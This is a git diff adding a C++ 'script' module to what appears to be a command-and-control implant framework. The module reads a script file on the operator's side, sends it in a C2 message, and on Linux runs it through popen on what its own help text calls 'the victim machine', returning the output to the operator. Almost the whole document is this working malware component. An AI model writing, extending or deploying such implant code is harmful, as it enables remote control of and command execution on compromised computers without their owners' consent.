Inital commit

modules/Script/Script.cpp

@@ -0,0 +1,104 @@
+#include "Script.hpp"
+
+#include <cstring>
+#include <array>
+
+using namespace std;
+
+
+const std::string moduleName = "script";
+
+
+#ifdef _WIN32
+
+__declspec(dllexport) Script* ScriptConstructor() 
+{
+    return new Script();
+}
+
+#endif
+
+Script::Script()
+	: ModuleCmd(moduleName)
+{
+}
+
+Script::~Script()
+{
+}
+
+std::string Script::getInfo()
+{
+	std::string info;
+	info += "script:\n";
+	info += "Launch the script on the victim machine\n";
+	info += "exemple:\n";
+	info += " - script /tmp/toto.sh\n";
+
+	return info;
+}
+
+
+int Script::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
+{
+	if(splitedCmd.size()<2)
+	{
+		c2Message.set_returnvalue(getInfo());
+		return -1;
+	}
+
+	string inputFile = splitedCmd[1];
+
+	std::ifstream input(inputFile, std::ios::binary);
+
+	if(input.good())
+	{
+		std::string buffer(std::istreambuf_iterator<char>(input), {});
+
+		c2Message.set_instruction(splitedCmd[0]);
+		c2Message.set_inputfile(inputFile);
+		c2Message.set_data(buffer.data(), buffer.size());
+	}
+	else
+	{
+		std::string err = "[-] Fail to open file: ";
+		err+=inputFile;
+		c2Message.set_returnvalue(err);
+		return -1;
+	}
+
+	return 0;
+}
+
+
+int Script::process(C2Message &c2Message, C2Message &c2RetMessage)
+{
+	const std::string script = c2Message.data();
+
+	std::string result;
+
+#ifdef __linux__ 
+
+	std::array<char, 128> buffer;
+
+	std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(script.c_str(), "r"), pclose);
+	if (!pipe)
+	{
+		throw std::runtime_error("popen() filed!");
+	}
+	while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr)
+	{
+		result += buffer.data();
+	}
+
+#elif _WIN32
+
+		result += "Not implemented for windows";
+
+#endif
+
+	c2RetMessage.set_instruction(m_name);
+	c2RetMessage.set_returnvalue(result);
+
+	return 0;
+}